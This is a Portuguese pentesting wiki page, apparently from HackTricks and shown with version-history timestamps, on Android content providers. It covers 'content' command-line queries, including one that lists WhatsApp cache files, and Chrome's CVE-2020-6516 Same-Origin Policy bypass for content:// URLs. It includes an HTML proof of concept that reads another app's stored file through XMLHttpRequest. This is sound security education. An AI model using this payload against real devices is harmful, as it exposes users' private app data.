hacktricks/mobile-pentesting/android-app-pentesting/content-protocol.md

121 lines
10 KiB
Markdown
Raw Normal View History

2022-04-28 16:01:33 +00:00
<details>
2023-04-25 18:35:28 +00:00
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
2022-04-28 16:01:33 +00:00
2023-06-06 18:56:34 +00:00
- Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
2022-04-28 16:01:33 +00:00
2023-06-06 18:56:34 +00:00
- Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
2022-04-28 16:01:33 +00:00
2023-06-06 18:56:34 +00:00
- Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
2022-04-28 16:01:33 +00:00
2023-06-06 18:56:34 +00:00
- **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
2022-04-28 16:01:33 +00:00
2023-06-06 18:56:34 +00:00
- **Compartilhe seus truques de hacking enviando PRs para o [repositório hacktricks](https://github.com/carlospolop/hacktricks) e [repositório hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
2022-04-28 16:01:33 +00:00
</details>
2023-06-06 18:56:34 +00:00
Para experimentar com provedores de conteúdo, pode-se usar o comando `content` em dispositivos Android. O acesso root não é necessariamente obrigatório. Por exemplo, para ver a lista de arquivos gerenciados pelo Media Store, pode-se executar o seguinte comando:
2021-05-04 11:44:49 +00:00
```bash
$ content query --uri content://media/external/file
```
2023-06-06 18:56:34 +00:00
Para tornar a saída mais amigável ao usuário, é possível limitar as colunas exibidas para o identificador e caminho de cada arquivo indexado.
2021-05-04 11:44:49 +00:00
```bash
$ content query --uri content://media/external/file --projection _id,_data
```
2023-06-06 18:56:34 +00:00
Os provedores de mídia existem em seu próprio namespace privado. Como ilustrado no exemplo acima, para acessar um provedor de conteúdo, o URI correspondente `content://` deve ser especificado. Geralmente, informações sobre os caminhos pelos quais um provedor pode ser acessado podem ser recuperadas olhando os manifestos de aplicativos (caso o provedor de conteúdo seja exportado por um aplicativo) ou o código-fonte do framework do Android.
2021-05-04 11:44:49 +00:00
2023-06-06 18:56:34 +00:00
Curiosamente, em dispositivos Android, o Chrome suporta o acesso a provedores de conteúdo por meio do esquema `content://`. Esse recurso permite que o navegador acesse recursos (por exemplo, fotos, documentos etc.) exportados por aplicativos de terceiros. Para verificar isso, pode-se inserir uma entrada personalizada no Media Store e, em seguida, acessá-la usando o navegador:
2021-05-04 11:44:49 +00:00
```bash
$ cd /sdcard
$ echo "Hello, world!" > test.txt
$ content insert --uri content://media/external/file \
--bind _data:s:/storage/emulated/0/test.txt \
--bind mime_type:s:text/plain
```
2023-06-06 18:56:34 +00:00
Para descobrir o identificador do arquivo recém-inserido:
2021-05-04 11:44:49 +00:00
```bash
$ content query --uri content://media/external/file \
--projection _id,_data | grep test.txt
Row: 283 _id=747, _data=/storage/emulated/0/test.txt
```
2023-06-06 18:56:34 +00:00
E para visualizar o arquivo no Chrome, pode-se usar uma URL como a mostrada na imagem a seguir. Observe o identificador de arquivo 747 (descoberto acima), que é usado como sufixo na URL.
2021-05-04 11:44:49 +00:00
![Chrome "Hello, world!"](https://census-labs.com/media/whatsapp-screenshot-hello-world.png)
2021-05-04 11:44:49 +00:00
2023-06-06 18:56:34 +00:00
Por exemplo, você pode listar todos os arquivos relacionados ao WhatsApp com:
2021-05-04 11:44:49 +00:00
```bash
$ content query --uri content://media/external/file --projection _id,_data | grep -i whatsapp
...
Row: 82 _id=58, _data=/storage/emulated/0/Android/data/com.whatsapp/cache/SSLSessionCache
Row: 83 _id=705, _data=/storage/emulated/0/Android/data/com.whatsapp/cache/SSLSessionCache/157.240.9.53.443
Row: 84 _id=239, _data=/storage/emulated/0/Android/data/com.whatsapp/cache/SSLSessionCache/crashlogs.whatsapp.net.443
Row: 85 _id=240, _data=/storage/emulated/0/Android/data/com.whatsapp/cache/SSLSessionCache/pps.whatsapp.net.443
Row: 86 _id=90, _data=/storage/emulated/0/Android/data/com.whatsapp/cache/SSLSessionCache/static.whatsapp.net.443
Row: 87 _id=706, _data=/storage/emulated/0/Android/data/com.whatsapp/cache/SSLSessionCache/v.whatsapp.net.443
Row: 88 _id=89, _data=/storage/emulated/0/Android/data/com.whatsapp/cache/SSLSessionCache/www.whatsapp.com.443
...
```
2023-06-06 18:56:34 +00:00
## A bypass da Política de Mesma Origem CVE-2020-6516 do Chrome <a href="#cve-2020-6516" id="cve-2020-6516"></a>
2021-05-04 11:44:49 +00:00
2023-06-06 18:56:34 +00:00
A Política de Mesma Origem (SOP) \[[12](https://developer.mozilla.org/en-US/docs/Web/Security/Same-origin\_policy)] nos navegadores dita que o conteúdo Javascript da URL A só poderá acessar o conteúdo da URL B se os seguintes atributos da URL permanecerem os mesmos para A e B:
2021-05-04 11:44:49 +00:00
2023-06-06 18:56:34 +00:00
* O protocolo, por exemplo, `https` vs. `http`
* O domínio, por exemplo, `www.example1.com` vs. `www.example2.com`
* A porta, por exemplo, `www.example1.com:8080` vs. `www.example1.com:8443`
2021-05-04 11:44:49 +00:00
2023-06-06 18:56:34 +00:00
Claro, há exceções para as regras acima, mas, em geral, um recurso de `https://www.example1.com` (por exemplo, um pedaço de código Javascript) não pode acessar o DOM de um recurso em `https://www.example2.com`, pois isso introduziria vazamentos de informações graves. **A menos que uma política de Compartilhamento de Recursos de Origem Cruzada (CORS) permita explicitamente, não deveria ser possível para um recurso da web ignorar as regras da SOP.**
2021-05-04 11:44:49 +00:00
2023-06-06 18:56:34 +00:00
É essencial observar que o Chrome considera `content://` como um _esquema local_, assim como `file://`. Nesse caso, as regras da SOP são ainda mais rigorosas, pois cada URL de esquema local é considerada uma origem separada. Por exemplo, o código Javascript em **file:///tmp/test.html** não deve ser capaz de acessar o conteúdo de **file:///tmp/test2.html**, ou qualquer outro arquivo no sistema de arquivos, para esse assunto. **Consequentemente, de acordo com as regras da SOP, um recurso carregado via `content://` não deve ser capaz de acessar nenhum outro recurso `content://`.** Bem, a vulnerabilidade CVE-2020-6516 do Chrome criou uma "exceção" para essa regra.
2021-05-04 11:44:49 +00:00
2023-06-06 18:56:34 +00:00
CVE-2020-6516 \[[03](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-6516)] é uma bypass da SOP em recursos carregados por meio de uma URL `content://`. **Por exemplo, o código Javascript, executado dentro do contexto de um documento HTML carregado de `content://com.example.provider/test.html`, pode carregar e acessar qualquer outro recurso carregado por meio de uma URL `content://`.** Esta é uma vulnerabilidade grave, especialmente em dispositivos que executam o Android 9 ou versões anteriores do Android. Nestes dispositivos, o armazenamento com escopo \[[13](https://developer.android.com/about/versions/10/privacy/changes#scoped-storage)] não é implementado e, consequentemente, os dados específicos do aplicativo em **/sdcard**, e mais interessantemente em **/sdcard/Android**, podem ser acessados por meio do provedor de conteúdo Media Store do sistema.
2021-05-04 11:44:49 +00:00
2023-06-06 18:56:34 +00:00
Um prova de conceito é bastante simples. Um documento HTML que usa `XMLHttpRequest` para acessar URLs `content://` arbitrários é carregado em **/sdcard**. Em seguida, é adicionado na Media Store e renderizado no Chrome, de maneira semelhante ao exemplo mostrado anteriormente. Para fins de demonstração, pode-se tentar carregar `content://media/external/file/747`, que é, na verdade, a URL da Media Store do exemplo "Hello, world!". Surpreendentemente, o código Javascript, executado dentro da origem do documento HTML, buscará e exibirá o conteúdo de **test.txt**.
2021-05-04 11:44:49 +00:00
```markup
<html>
<head>
<title>PoC</title>
<script type="text/javascript">
function poc()
{
var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function()
{
if(this.readyState == 4)
{
if(this.status == 200 || this.status == 0)
{
alert(xhr.response);
}
}
}
xhr.open("GET", "content://media/external/file/747");
xhr.send();
}
</script>
</head>
<body onload="poc()"></body>
</html>
```
2023-06-06 18:56:34 +00:00
**Informações retiradas deste artigo:** [**https://census-labs.com/news/2021/04/14/whatsapp-mitd-remote-exploitation-CVE-2021-24027/**](https://census-labs.com/news/2021/04/14/whatsapp-mitd-remote-exploitation-CVE-2021-24027/)
2022-04-28 16:01:33 +00:00
<details>
2023-04-25 18:35:28 +00:00
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
2022-04-28 16:01:33 +00:00
2023-06-06 18:56:34 +00:00
- Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
2022-04-28 16:01:33 +00:00
2023-06-06 18:56:34 +00:00
- Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
2022-04-28 16:01:33 +00:00
2023-06-06 18:56:34 +00:00
- Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
2022-04-28 16:01:33 +00:00
2023-06-06 18:56:34 +00:00
- **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
2022-04-28 16:01:33 +00:00
2023-06-06 18:56:34 +00:00
- **Compartilhe seus truques de hacking enviando PRs para o [repositório hacktricks](https://github.com/carlospolop/hacktricks) e [repositório hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
2022-04-28 16:01:33 +00:00
</details>